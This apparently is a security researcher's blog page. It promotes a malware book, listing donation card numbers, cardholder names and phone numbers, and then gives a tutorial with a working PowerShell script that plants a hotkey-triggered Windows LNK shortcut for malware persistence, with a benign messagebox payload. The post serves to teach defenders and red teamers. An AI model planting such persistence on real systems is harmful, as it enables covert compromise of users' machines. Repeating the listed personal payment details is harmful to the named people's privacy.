Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I finished writing this book today. It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the Worlds, give strength to all children who are fighting for their lives.

Why is the book called that? MALWILD - means Malware in the Wild.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

book

book

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also, thanks to everyone who is helping me through these difficult times. The proceeds from the sale of this book will be used to treat my friends:

Antipin

Antipin Eleazar, Scaphocephaly (Sagittal Craniosynostosis).

Djami

Khasenova Djamilya, Hepatoblastoma (liver cancer).

The book is divided into three logical chapters:

  • Malware dev tricks from source code leaks
  • Malware analysis examples
  • Helper scripts (most in python) for malware analysis

All material in the book is based on my posts from WebSec blog, HVCK magazine, MSSP Lab blog and my own articles.

If you have questions, you can ask them on my email.

My Github repo: https://github.com/cocomelonc

This book costs $32 but you can pay as much as you want. If you are unable to pay for it, I will send it to you for free.

If you cannot pay via Paypal:

btc

BTC address: 1MMDN38mheQn9h2Xa2H6hqMSfFYKW4nQUE

eth

ETH address: 0xf6ed40f61b603a4b2ac7c077034053df4f718f37

xmr

XMR address:
87E2aD7P7FGiQrUdznXPqtH7enHywV8qm5kMqKziKLz8ECWZENE8ZV5JWRTJhA3RVS5rxSogRsd7z7yX2DMn29dR3Vfnjbj

Binance email: [email protected]

VISA/Mastercard:

4400 4301 3484 3363 AIMAN ANTIPINA (cardholder)
4400 4302 1897 8630 ZHANAR KHASSENOVA (cardholder)

For Kaspi:

+7 700 270 7807 (Айман А.)
+7 701 242 6662 (Алия Ш.)

Charity fund +1 from Kazakhstan (Kaspi QR):

plus1

If you are unable to pay for it, I will send it to you for free.

MALWILD book

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 23. LNK files. Simple Powershell example.

10 December 2023 at 00:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the more interesting malware persistence tricks: via Windows LNK files.

LNK

According to Microsoft, an LNK file serves as a shortcut or β€œlink” in Windows, providing a reference to an original file, folder, or application. For regular users, these files serve a meaningful purpose, facilitating file organization and workspace decluttering. However, from an attacker’s perspective, LNK files take on a different significance. They have been exploited in various documented attacks by APT groups and, to my knowledge, remain a viable option for activities such as phishing, establishing persistence, executing payloads.

Do you know that Windows shortcuts can be registered using a shortcut key in terms of execution? This is the main trick for malware persistence in this case.

practical example

Let’s say we have a β€œmalware”. As usually, meow-meow messagebox application hack.c:

/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/12/10/malware-pers-23.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And then, just create powershell script for create LNK file with the following properties:

# Define the path for the shortcut on the desktop
$shortcutPath = "$([Environment]::GetFolderPath('Desktop'))\Meow.lnk"

# Create a WScript Shell object
$wshell = New-Object -ComObject Wscript.Shell

# Create a shortcut object
$shortcut = $wshell.CreateShortcut($shortcutPath)

# Set the icon location for the shortcut
$shortcut.IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"

# Set the target path and arguments for the shortcut
$shortcut.TargetPath = "Z:\2023-12-10-malware-pers-23\hack.exe"
$shortcut.Arguments = ""

# Set the working directory for the shortcut
$shortcut.WorkingDirectory = "Z:\2023-12-10-malware-pers-23"

# Set a hotkey for the shortcut (e.g., CTRL+W)
$shortcut.HotKey = "CTRL+W"

# Set a description for the shortcut
$shortcut.Description = "Not malicious, meow-meow malware"

# Set the window style for the shortcut (7 = Minimized window)
$shortcut.WindowStyle = 7

# Save the shortcut
$shortcut.Save()

# Optionally make the link invisible by adding 'Hidden' attribute
# (Get-Item $shortcutPath).Attributes += 'Hidden'

As you can see, the logic is pretty simple. We simply create a shortcut on the desktop that has a hotkey specified: CTRL+W. Of course, in real attack scenarios it could be something like CTRL+C, CTRL+V or CTRL+P, etc.

For example, if you create a shortcut for Paint, it does not have any hotkey specified:

pers

Explorer restricts shortcut support to commands beginning with CTRL+ALT. Additional sequences must be set programmatically through COM.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

For checking correctness, run it:

.\hack.exe

pers

The just run our powershell script for persistence:

Get-Content pers.ps1 | PowerShell.exe -noprofile -

pers

As a result, Meow LNK file is created successfully.

If we look at its properties, everything is ok:

pers

Finally just run it and try to trigger CTRL+W hotkey:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and software like Emotet in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Many thanks to my friend and colleague Anton Kuznetsov, he reminded me of this technique when he presented one of his most amazing talks.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1204.001
APT28
APT29
Kimsuky
Emotet
MSDN: Shell Link (.LNK) Binary File Format
Malware persistence: part 1
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

❌
❌